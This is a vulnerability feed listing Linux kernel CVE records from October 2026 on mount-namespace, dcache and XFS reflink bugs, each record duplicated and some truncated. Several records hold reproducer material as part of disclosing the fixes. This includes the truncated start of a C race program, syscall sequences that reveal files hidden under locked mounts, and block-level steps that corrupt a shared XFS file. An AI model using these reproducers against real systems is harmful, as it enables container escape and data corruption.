NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: namespace: don't let a pseudo dentry become the root of a mount
https://kevwire.com/record/CVE-2026-98982
Linux kernel: namespace: don't let a pseudo dentry become the root of a mount (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

namespace: don't let a pseudo dentry become the root of a mount

d_alloc_pseudo() hands out dentries for pipes, sockets and other files
that are never anyone's child or parent. They carry DCACHE_NORCU and
dentry_free() frees them right away because no lockless path walk can
ever reach them. That holds as long as such a dentry isn't the root of
a mount. But bind mounting /proc/self/fd/<fd> of such a file does
exactly that.

Most callers of alloc_file_pseudo() put their files on kernel-internal
mounts and may_copy_tree() refuses those. bpf_token_create() doesn't. It
places the token file on the bpffs mount the caller handed it and that
mount is in the caller's mount namespace so the clone goes through:

  mount --bind /proc/self/fd/<token> <file>
  open_tree(tokfd, "", AT_EMPTY_PATH | OPEN_TREE_CLONE) + move_mount()

__follow_mount_rcu() then loads ->mnt_root of that mount, reads d_seq
and d_flags of the dentry and only then checks mount_lock. The dentry
can be gone by then. The final mntput() of an unmounted parent unhooks
a child that stayed attached to it under mount_lock alone. When the
child's holder does the final put right after that the root is dput()
and freed immediately while a walker that found the mount hashed still
looks at it.

Refuse to clone a mount with a DCACHE_NORCU dentry as its root. Nothing
sensible can be done with a bind mount of a bpf token anyway.
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98982).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98982&date=2026-10-25).
Sources:
NVD CVE-2026-98982: https://nvd.nist.gov/vuln/detail/CVE-2026-98982
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98982&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

namespace: don't let a pseudo dentry become the root of a mount

d_alloc_pseudo() hands out dentries for pipes, sockets and other files
that are never anyone's child or parent. They carry DCACHE_NORCU and
dentry_free() frees them right away because no lockless path walk can
ever reach them. That holds as long as such a dentry isn't the root of
a mount. But bind mounting /proc/self/fd/<fd> of such a file does
exactly that.

Most callers of alloc_file_pseudo() put their files on kernel-internal
mounts and may_copy_tree() refuses those. bpf_token_create() doesn't. It
places the token file on the bpffs mount the caller handed it and that
mount is in the caller's mount namespace so the clone goes through:

  mount --bind /proc/self/fd/<token> <file>
  open_tree(tokfd, "", AT_EMPTY_PATH | OPEN_TREE_CLONE) + move_mount()

__follow_mount_rcu() then loads ->mnt_root of that mount, reads d_seq
and d_flags of the dentry and only then checks mount_lock. The dentry
can be gone by then. The final mntput() of an unmounted parent unhooks
a child that stayed attached to it under mount_lock alone. When the
child's holder does the final put right after that the root is dput()
and freed immediately while a walker that found the mount hashed still
looks at it.

Refuse to clone a mount with a DCACHE_NORCU dentry as its root. Nothing
sensible can be done with a bind mount of a bpf token anyway.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: namespace: unhash a dentry before detaching the mounts on it
https://kevwire.com/record/CVE-2026-98981
Linux kernel: namespace: unhash a dentry before detaching the mounts on it (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

namespace: unhash a dentry before detaching the mounts on it

unlink(), rmdir() and rename() remove the entry from the filesystem,
call detach_mounts() on the entry with the inode locked and then call
d_delete() once the inode is unlocked.

The thing is that between detach_mounts() and d_delete() the dentry is
still hashed and positive. But after detach_mounts() nothing covers the
dentry anymore. A lookup that finds this dentry in the dcache can
uncover what the mounts hid.

That's a problem when unlinking files or directories that are
mountpoints in other mount namespaces. Everybody who had the underlying
entry covered can race the detach_mount() call until d_delete() has run.

The race window isn't all that small. It encompasses namespace_unlock()
with a full synchronize_rcu_expedited() grace period and the
inode_unlock() of the entry.

In my experiments three walkers that kept trying read an overmounted
file in 11938 of the 16140 unlinks that removed its mountpoint from a
bind mount of the filesystem within a minute.

Fun fact, d_invalidate() has the same ordering problem but gets it
right. It unhashes the dentry first and detaches the mounts afterwards.
Let's do the same in __detach_mounts():

- A lookup that hasn't found the dentry yet misses it in the dcache and
  waits for the directory lock that the caller holds until the name is
  gone for good.

- A lockless lookup that found it already fails the mount_lock check
  while the dentry still counts as a mountpoint and the d_seq check once
  it doesn't, and retries.

This fixes the lockless path. We still need to fix the reference count
lookup in a follow-up patch.

So d_drop() the dentry. The dentry stays positive and held but can't be
found anymore. Then proceed with the detach and unlink.

Reproducer:

The reads were counted with the program below, three walkers for 60 s
in a VM with 4 CPUs. The race window is stretched with the debug patch
pasted here. fs.detach_race_walk_us sleeps in lookup_fast() once it
found a mountpoint dentry and before its mounts are crossed.
fs.detach_race_unlink_us sleeps in vfs_unlink() between detach_mounts(
CVSS 8.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98981).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98981&date=2026-10-25).
Sources:
NVD CVE-2026-98981: https://nvd.nist.gov/vuln/detail/CVE-2026-98981
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98981&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

namespace: unhash a dentry before detaching the mounts on it

unlink(), rmdir() and rename() remove the entry from the filesystem,
call detach_mounts() on the entry with the inode locked and then call
d_delete() once the inode is unlocked.

The thing is that between detach_mounts() and d_delete() the dentry is
still hashed and positive. But after detach_mounts() nothing covers the
dentry anymore. A lookup that finds this dentry in the dcache can
uncover what the mounts hid.

That's a problem when unlinking files or directories that are
mountpoints in other mount namespaces. Everybody who had the underlying
entry covered can race the detach_mount() call until d_delete() has run.

The race window isn't all that small. It encompasses namespace_unlock()
with a full synchronize_rcu_expedited() grace period and the
inode_unlock() of the entry.

In my experiments three walkers that kept trying read an overmounted
file in 11938 of the 16140 unlinks that removed its mountpoint from a
bind mount of the filesystem within a minute.

Fun fact, d_invalidate() has the same ordering problem but gets it
right. It unhashes the dentry first and detaches the mounts afterwards.
Let's do the same in __detach_mounts():

- A lookup that hasn't found the dentry yet misses it in the dcache and
  waits for the directory lock that the caller holds until the name is
  gone for good.

- A lockless lookup that found it already fails the mount_lock check
  while the dentry still counts as a mountpoint and the d_seq check once
  it doesn't, and retries.

This fixes the lockless path. We still need to fix the reference count
lookup in a follow-up patch.

So d_drop() the dentry. The dentry stays positive and held but can't be
found anymore. Then proceed with the detach and unlink.

Reproducer:

The reads were counted with the program below, three walkers for 60 s
in a VM with 4 CPUs. The race window is stretched with the debug patch
pasted here. fs.detach_race_walk_us sleeps in lookup_fast() once it
found a mountpoint dentry and before its mounts are crossed.
fs.detach_race_unlink_us sleeps in vfs_unlink() between detach_mounts()
and d_delete().

  // SPDX-License-Identifier: GPL-2.0
  /*
   * unlink_covered: unlink a file that is a mountpoint in a detached copy of
   * its mount, against lookups that open it through that copy.
   *
   * A is a tmpfs with the file f1 (content SECRET_F) and the plain file
   * MARK_A. A' is an open_tree(OPEN_TREE_CLONE) copy of A with MARK_A bound
   * on A'/f1, held through an O_PATH fd on its root once the tree fd is
   * closed. Walkers open f1 through that fd while the driver unlinks A/f1,
   * where nothing is mounted on it. A walker may read MARK_A or get ENOENT.
   * A read of SECRET_F is a hit: the name was found after its mount was
   * gone. The lockless walks use openat2(RESOLVE_CACHED).
   *
   * usage: unlink_covered [-t seconds] [-w walkers]
   */
  #ifndef _GNU_SOURCE
  #define _GNU_SOURCE
  #endif
  #include <errno.h>
  #include <fcntl.h>
  #include <pthread.h>
  #include <stdatomic.h>
  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>
  #include <unistd.h>
  #include <sys/mount.h>
  #include <sys/stat.h>
  #include <sys/syscall.h>
  #include <linux/openat2.h>

  #ifndef __NR_open_tree
  #define __NR_open_tree 428
  #endif
  #ifndef __NR_move_mount
  #define __NR_move_mount 429
  #endif
  #ifndef __NR_openat2
  #define __NR_openat2 437
  #endif
  #ifndef OPEN_TREE_CLONE
  #define OPEN_TREE_CLONE 1
  #endif
  #ifndef OPEN_TREE_CLOEXEC
  #define OPEN_TREE_CLOEXEC O_CLOEXEC
  #endif
  #ifndef MOVE_MOUNT_F_EMPTY_PATH
  #define MOVE_MOUNT_F_EMPTY_PATH 0x00000004
  #endif

  #define WORK "/tmp/uc"
  #define ADIR WORK "/A"

  static int duration = 60, nwalkers = 3;
  static atomic_int stop, writer_waiting;
  static pthread_rwlock_t cur_lock = PTHREAD_RWLOCK_INITIALIZER;
  static int cur_fd = -1;		/* the root of A', -1 wh
---truncated---

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: namei: don't reveal overmounted entries in refwalk
https://kevwire.com/record/CVE-2026-98980
Linux kernel: namei: don't reveal overmounted entries in refwalk (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

namei: don't reveal overmounted entries in refwalk

In rcuwalk the dentry is validated before it is accepted. step_into()
step_into() rechecks d_seq and __follow_mount_rcu() rechecks mount_lock.
An entry that gets unlinked in between causes the lookup to retry and
miss.

A refwalk doesn't do this. lookup_fast() takes a reference on the hashed
dentry and simply accepts it. So an unlink that happens after the
reference was taken isn't seen by refwalk. That's fine for a simple
file. We just happened to open it before it was unlinked, no problem.

For a mountpoint and specifically a locked mountpoint it very much
isn't. The unlink detaches all mounts and then removes the name. Any
refwalk that hasn't traversed the mounts yet simply reveals the
underlying entry. It's a very narrow window but it can be hit:

  reads of a covered file in 60 s, 3 walkers, ~15000 unlinks
    no widening            27
    that step + 200 us   3741

See the appended patch for a more reliable reproducer.

So check the entry after step_into(). unlink(), rmdir() and rename()
mark the dentry with dont_mount() before they detach the mounts and
remove the dentry.

So a dentry that is marked with DCACHE_CANT_MOUNT and is unhashed by the
time its mounts were looked at is a name that was unlinked under the
refwalk. DCACHE_CANT_MOUNT is read after the mounts were looked up and
it is set before they are detached by detach_mounts(). A refwalk that
missed the mounts will see DCACHE_CANT_MOUNT.

Plain d_unlinked() is fine. A rename takes the dentry off its hash chain
but ___d_drop() leaves d_hash.pprev set. So only __d_drop() and a rename
over the dentry unhash it. The only move that flips IS_ROOT splices in a
disconnected alias. That doesn't have DCACHE_CANT_MOUNT set.

Add the to step_into_slowpath(). ".." and LOOKUP_DOWN may legitimately
land on an unhashed directory. A refwalk that crossed onto a mount has
path.mnt different from nd->path.mnt. A dentry that a filesystem dropped
on its own (d_invalidate(), d_drop()) doesn't have the flag set and is
treated as before.

  // SPDX-License-Identifier: GPL-2.0
  /*
   * unlink_covered: u
CVSS 8.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98980).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98980&date=2026-10-25).
Sources:
NVD CVE-2026-98980: https://nvd.nist.gov/vuln/detail/CVE-2026-98980
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98980&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

namei: don't reveal overmounted entries in refwalk

In rcuwalk the dentry is validated before it is accepted. step_into()
step_into() rechecks d_seq and __follow_mount_rcu() rechecks mount_lock.
An entry that gets unlinked in between causes the lookup to retry and
miss.

A refwalk doesn't do this. lookup_fast() takes a reference on the hashed
dentry and simply accepts it. So an unlink that happens after the
reference was taken isn't seen by refwalk. That's fine for a simple
file. We just happened to open it before it was unlinked, no problem.

For a mountpoint and specifically a locked mountpoint it very much
isn't. The unlink detaches all mounts and then removes the name. Any
refwalk that hasn't traversed the mounts yet simply reveals the
underlying entry. It's a very narrow window but it can be hit:

  reads of a covered file in 60 s, 3 walkers, ~15000 unlinks
    no widening            27
    that step + 200 us   3741

See the appended patch for a more reliable reproducer.

So check the entry after step_into(). unlink(), rmdir() and rename()
mark the dentry with dont_mount() before they detach the mounts and
remove the dentry.

So a dentry that is marked with DCACHE_CANT_MOUNT and is unhashed by the
time its mounts were looked at is a name that was unlinked under the
refwalk. DCACHE_CANT_MOUNT is read after the mounts were looked up and
it is set before they are detached by detach_mounts(). A refwalk that
missed the mounts will see DCACHE_CANT_MOUNT.

Plain d_unlinked() is fine. A rename takes the dentry off its hash chain
but ___d_drop() leaves d_hash.pprev set. So only __d_drop() and a rename
over the dentry unhash it. The only move that flips IS_ROOT splices in a
disconnected alias. That doesn't have DCACHE_CANT_MOUNT set.

Add the to step_into_slowpath(). ".." and LOOKUP_DOWN may legitimately
land on an unhashed directory. A refwalk that crossed onto a mount has
path.mnt different from nd->path.mnt. A dentry that a filesystem dropped
on its own (d_invalidate(), d_drop()) doesn't have the flag set and is
treated as before.

  // SPDX-License-Identifier: GPL-2.0
  /*
   * unlink_covered: unlink a file that is a mountpoint in a detached copy of
   * its mount, against walkers that open it through that copy.
   *
   * A is a tmpfs with the file f1 (content SECRET_F) and the plain file
   * MARK_A. A' is an open_tree(OPEN_TREE_CLONE) copy of A with MARK_A bound
   * on A'/f1, held through an O_PATH fd on its root once the tree fd is
   * closed. Walkers open f1 through that fd while the driver unlinks A/f1,
   * where nothing is mounted on it. A walker may read MARK_A or get ENOENT.
   * A read of SECRET_F is a hit: the name was found after its mount was
   * gone. The lockless walks use openat2(RESOLVE_CACHED).
   *
   * usage: unlink_covered [-t seconds] [-w walkers]
   */
  #ifndef _GNU_SOURCE
  #define _GNU_SOURCE
  #endif
  #include <errno.h>
  #include <fcntl.h>
  #include <pthread.h>
  #include <stdatomic.h>
  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>
  #include <unistd.h>
  #include <sys/mount.h>
  #include <sys/stat.h>
  #include <sys/syscall.h>
  #include <linux/openat2.h>

  #ifndef __NR_open_tree
  #define __NR_open_tree 428
  #endif
  #ifndef __NR_move_mount
  #define __NR_move_mount 429
  #endif
  #ifndef __NR_openat2
  #define __NR_openat2 437
  #endif
  #ifndef OPEN_TREE_CLONE
  #define OPEN_TREE_CLONE 1
  #endif
  #ifndef OPEN_TREE_CLOEXEC
  #define OPEN_TREE_CLOEXEC O_CLOEXEC
  #endif
  #ifndef MOVE_MOUNT_F_EMPTY_PATH
  #define MOVE_MOUNT_F_EMPTY_PATH 0x00000004
  #endif

  #define WORK "/tmp/uc"
  #define ADIR WORK "/A"

  static int duration = 60, nwalkers = 3;
  static atomic_int stop, writer_waiting;
  static pthread_rwlock_t cur_lock = PTHREAD_RWLOCK_INITIALIZER;
  static int cur_fd = -1;		/* the root of A', -1 while there is none */
  static atomic_long n_unlink, n_walk, n_mark, n_enoent, n_othe
---truncated---

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: namespace: never expire a locked mount
https://kevwire.com/record/CVE-2026-98978
Linux kernel: namespace: never expire a locked mount (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

namespace: never expire a locked mount

Locked mounts are special. They protect the underlying files and
directories from being revealed. do_umount() refuses to unmount locked
mounts but shrink_submounts() doesn't.

A shrinkable mount can become locked once the owner of a user namespace
puts it beneath a locked mount with MOVE_MOUNT_BENEATH. The locked
property now moves to the mount at the bottom making it possible to
unmount the top mount.

So umount() of an unlocked ancestor now expires the bottom mount first
and the covered directory is revealed:

  move_mount(c -> x/hidden, MOVE_MOUNT_BENEATH) = 0
  the cover after the lock moved:  umount2(x/hidden) = 0
  the holder of the lock:          umount2(x/hidden) = EINVAL
  the root of the copy, busy:      umount2(x) = EBUSY
  reads x/hidden/secret: "covered-by-root"

So leave a locked mount alone as it dies together with its parent. A
plain umount() of an unlocked mount with a locked one below it is EBUSY
from now on. It's the same for any other locked child. A lazy umount
still takes the whole tree.

mark_mounts_for_expiry() never sees a locked mount. lock_mnt_tree()
leaves a mount on an expiry list alone and nothing else puts a locked
one on such a list. Add an assert for this.
CVSS 8.4 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98978).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98978&date=2026-10-25).
Sources:
NVD CVE-2026-98978: https://nvd.nist.gov/vuln/detail/CVE-2026-98978
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98978&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

namespace: never expire a locked mount

Locked mounts are special. They protect the underlying files and
directories from being revealed. do_umount() refuses to unmount locked
mounts but shrink_submounts() doesn't.

A shrinkable mount can become locked once the owner of a user namespace
puts it beneath a locked mount with MOVE_MOUNT_BENEATH. The locked
property now moves to the mount at the bottom making it possible to
unmount the top mount.

So umount() of an unlocked ancestor now expires the bottom mount first
and the covered directory is revealed:

  move_mount(c -> x/hidden, MOVE_MOUNT_BENEATH) = 0
  the cover after the lock moved:  umount2(x/hidden) = 0
  the holder of the lock:          umount2(x/hidden) = EINVAL
  the root of the copy, busy:      umount2(x) = EBUSY
  reads x/hidden/secret: "covered-by-root"

So leave a locked mount alone as it dies together with its parent. A
plain umount() of an unlocked mount with a locked one below it is EBUSY
from now on. It's the same for any other locked child. A lazy umount
still takes the whole tree.

mark_mounts_for_expiry() never sees a locked mount. lock_mnt_tree()
leaves a mount on an expiry list alone and nothing else puts a locked
one on such a list. Add an assert for this.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: namespace: keep the lock on a mount that a propagated copy is moved beneath
https://kevwire.com/record/CVE-2026-98976
Linux kernel: namespace: keep the lock on a mount that a propagated copy is moved beneath (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

namespace: keep the lock on a mount that a propagated copy is moved beneath

attach_recursive_mnt() transfers MNT_LOCKED from the top mount to the
mount that is moved beneath it with MOVE_MOUNT_BENEATH. This allows the
owner of a user namespace to replace its locked /proc or its root. The
mount beneath takes on the job of covering the underlying mountpoint
allowing the top mount to be unmounted.

Consider two mount namespaces:

(H) The host H has a shared mount P with a secret in P/d
(Z) Z is a user namespace made from M. Its copy of P receives
    propagation from the host's P and its copy of M's cover on P/d is
    locked Z's owner must not get to see P/d.

Now (H) mounts X on P/d. This propagates into (Z). The copy of X lands
beneath (Z)'s locked cover. The locked property is transfered from (Z)'s
cover to the copy of X propagated beneath it. The cover is now unlocked.

Now (H) unmounts X again. The copy of X in (Z) gets unmounted and the
covering mount is left unlocked on top of P/d. (Z) can now unmount it:

    Z: umount2(P/d)             = EINVAL            /* the cover is locked */
    H: mount X on P/d, umount X                     /* both propagate into Z /*
    Z: umount2(P/d)             = 0                 /* the cover is now unlocked */
    Z: read P/d/secret          = "covered-by-root" /* secret revealed */

So only transfer the locked property to the mount beneath for mounts the
caller has placed. A propagated copy that lands beneath a locked mount
is locked as well so that the mount at the bottom of the stack carries a
lock the way every check expects. The mount on top of it remains locked
to ensure that it keeps covering even if the propagated mount is
unmounted again.
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98976).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98976&date=2026-10-25).
Sources:
NVD CVE-2026-98976: https://nvd.nist.gov/vuln/detail/CVE-2026-98976
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98976&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

namespace: keep the lock on a mount that a propagated copy is moved beneath

attach_recursive_mnt() transfers MNT_LOCKED from the top mount to the
mount that is moved beneath it with MOVE_MOUNT_BENEATH. This allows the
owner of a user namespace to replace its locked /proc or its root. The
mount beneath takes on the job of covering the underlying mountpoint
allowing the top mount to be unmounted.

Consider two mount namespaces:

(H) The host H has a shared mount P with a secret in P/d
(Z) Z is a user namespace made from M. Its copy of P receives
    propagation from the host's P and its copy of M's cover on P/d is
    locked Z's owner must not get to see P/d.

Now (H) mounts X on P/d. This propagates into (Z). The copy of X lands
beneath (Z)'s locked cover. The locked property is transfered from (Z)'s
cover to the copy of X propagated beneath it. The cover is now unlocked.

Now (H) unmounts X again. The copy of X in (Z) gets unmounted and the
covering mount is left unlocked on top of P/d. (Z) can now unmount it:

    Z: umount2(P/d)             = EINVAL            /* the cover is locked */
    H: mount X on P/d, umount X                     /* both propagate into Z /*
    Z: umount2(P/d)             = 0                 /* the cover is now unlocked */
    Z: read P/d/secret          = "covered-by-root" /* secret revealed */

So only transfer the locked property to the mount beneath for mounts the
caller has placed. A propagated copy that lands beneath a locked mount
is locked as well so that the mount at the bottom of the stack carries a
lock the way every check expects. The mount on top of it remains locked
to ensure that it keeps covering even if the propagated mount is
unmounted again.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: xfs: stop exchanging reflink flags when exchanging mappings
https://kevwire.com/record/CVE-2026-98975
Linux kernel: xfs: stop exchanging reflink flags when exchanging mappings (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

xfs: stop exchanging reflink flags when exchanging mappings

When an exchange covers both files from offset 0 to i_disk_size,
xmi_can_exchange_reflink_flags() assumes every mapping moved and hands
the reflink flag over to the other file.

That assumption is wrong.  A file can still own shared blocks past
i_disk_size, e.g. after EXCHANGE_RANGE_TO_EOF sets a smaller size
without unmapping anything.  The flag is cleared anyway, and the next
write to such a block happens in place instead of CoW, corrupting the
other file that shares it.

Commit a23eca88448e ("xfs: fix exchange-range reflink flag clearing
issue with INO1_WRITTEN") fixed one instance of this.  Rather than add
another special case, stop moving the flags.
xfs_exchmaps_ensure_reflink() already sets the flag on both inodes
before the exchange, so both just keep it.

Nothing sets CLEAR_INO{1,2}_REFLINK anymore.  Intents logged by older
kernels may still carry them; recovery already masks them off, so they
stay in the log format mask and are ignored.

XFS_IOC_SWAPEXT has the same problem: it moves the reflink flag from
one inode to the other along with the extents.  Just removing that is
not enough here: the exchange path flags both inodes up front in
xfs_exchmaps_ensure_reflink(), but swapext has no such step, so the
inode receiving the shared extents would be left without the flag.
Set it on both inodes instead, and make sure both have a CoW fork,
since an inode with the reflink flag is expected to have one.

The flag now stays until FALLOC_FL_UNSHARE_RANGE, xfs_scrub, or a
truncate to zero removes it.
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98975).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98975&date=2026-10-25).
Sources:
NVD CVE-2026-98975: https://nvd.nist.gov/vuln/detail/CVE-2026-98975
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98975&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

xfs: stop exchanging reflink flags when exchanging mappings

When an exchange covers both files from offset 0 to i_disk_size,
xmi_can_exchange_reflink_flags() assumes every mapping moved and hands
the reflink flag over to the other file.

That assumption is wrong.  A file can still own shared blocks past
i_disk_size, e.g. after EXCHANGE_RANGE_TO_EOF sets a smaller size
without unmapping anything.  The flag is cleared anyway, and the next
write to such a block happens in place instead of CoW, corrupting the
other file that shares it.

Commit a23eca88448e ("xfs: fix exchange-range reflink flag clearing
issue with INO1_WRITTEN") fixed one instance of this.  Rather than add
another special case, stop moving the flags.
xfs_exchmaps_ensure_reflink() already sets the flag on both inodes
before the exchange, so both just keep it.

Nothing sets CLEAR_INO{1,2}_REFLINK anymore.  Intents logged by older
kernels may still carry them; recovery already masks them off, so they
stay in the log format mask and are ignored.

XFS_IOC_SWAPEXT has the same problem: it moves the reflink flag from
one inode to the other along with the extents.  Just removing that is
not enough here: the exchange path flags both inodes up front in
xfs_exchmaps_ensure_reflink(), but swapext has no such step, so the
inode receiving the shared extents would be left without the flag.
Set it on both inodes instead, and make sure both have a CoW fork,
since an inode with the reflink flag is expected to have one.

The flag now stays until FALLOC_FL_UNSHARE_RANGE, xfs_scrub, or a
truncate to zero removes it.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: xfs: fix exchange-range-to-eof file size exchange
https://kevwire.com/record/CVE-2026-98974
Linux kernel: xfs: fix exchange-range-to-eof file size exchange (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

xfs: fix exchange-range-to-eof file size exchange

Norbert Szetei posted a patch containing an incomplete description of a
bug in XFS_IOC_EXCHANGE_RANGE's TO_EOF flag.  The bug tricks
exchange-range into modifying a file so that it has shared blocks
starting beyond EOF, which is never allowed because files never have
written data beyond EOF, and you can only share written data blocks.
This is key to all the incorrect behavior that follows.

Eventually I got from Norbert a description of what's going wrong:

> Fair. Here it is with physical block numbers, 4k blocks. peer is the file
> that gets rewritten and file1 is the one that ends up with the flag
> cleared.
>
> Start, nothing shared:
>
>	peer size 4096   -> [100]
>	file1 size 12288 -> [200] [201] [202]
>	donor1 size 4096 -> [300]
>	donor2 size 4096 -> [400]
>
> 1. FICLONERANGE peer's block into file1's middle slot:
>
>	peer size 4096   -> [100]
>	file1 size 12288 -> [200] [100] [202] reflink flag set
>                             ^^^^^ both files own block 100
>
> 2. XFS_IOC_EXCHANGE_RANGE file1 against donor1, file1_offset 0,
> file2_offset 8192, length 0, TO_EOF. One block is exchanged, and the sizes
> are exchanged with it:
>
>	file1 size 4096   -> [200] [100] [300] reflink flag set
>                              ^^^^^^^^^^^ still owned, now past the size
>	donor1 size 12288 -> [202]
>
> file1 says it is one block long while it still owns three. Nothing was
> unmapped. file2_offset is block 2, so this exchange cannot clear a flag.
>
> 3. XFS_IOC_EXCHANGE_RANGE file1 against donor2, both offsets 0, length 4096.
> By i_disk_size this is two one-block files exchanging everything, so
> xmi_can_exchange_reflink_flags() agrees and the flag is cleared:
>
>	file1 size 4096   -> [400] [100] [300] reflink flag CLEARED
>	donor2 size 4096  -> [200]
>
> Block 100 is still shared with peer.
>
> 4. pwrite(file1, 4096, 4096), which is file1's second slot, block 100.
> xfs_is_cow_inode(file1) is false, so no CoW:
>
>	peer size 4096 -> [100] same block, new contents
>
> Block 100 is the only one that matters here. PoC below, it reads a file
> called peer
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98974).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98974&date=2026-10-25).
Sources:
NVD CVE-2026-98974: https://nvd.nist.gov/vuln/detail/CVE-2026-98974
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98974&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

xfs: fix exchange-range-to-eof file size exchange

Norbert Szetei posted a patch containing an incomplete description of a
bug in XFS_IOC_EXCHANGE_RANGE's TO_EOF flag.  The bug tricks
exchange-range into modifying a file so that it has shared blocks
starting beyond EOF, which is never allowed because files never have
written data beyond EOF, and you can only share written data blocks.
This is key to all the incorrect behavior that follows.

Eventually I got from Norbert a description of what's going wrong:

> Fair. Here it is with physical block numbers, 4k blocks. peer is the file
> that gets rewritten and file1 is the one that ends up with the flag
> cleared.
>
> Start, nothing shared:
>
>	peer size 4096   -> [100]
>	file1 size 12288 -> [200] [201] [202]
>	donor1 size 4096 -> [300]
>	donor2 size 4096 -> [400]
>
> 1. FICLONERANGE peer's block into file1's middle slot:
>
>	peer size 4096   -> [100]
>	file1 size 12288 -> [200] [100] [202] reflink flag set
>                             ^^^^^ both files own block 100
>
> 2. XFS_IOC_EXCHANGE_RANGE file1 against donor1, file1_offset 0,
> file2_offset 8192, length 0, TO_EOF. One block is exchanged, and the sizes
> are exchanged with it:
>
>	file1 size 4096   -> [200] [100] [300] reflink flag set
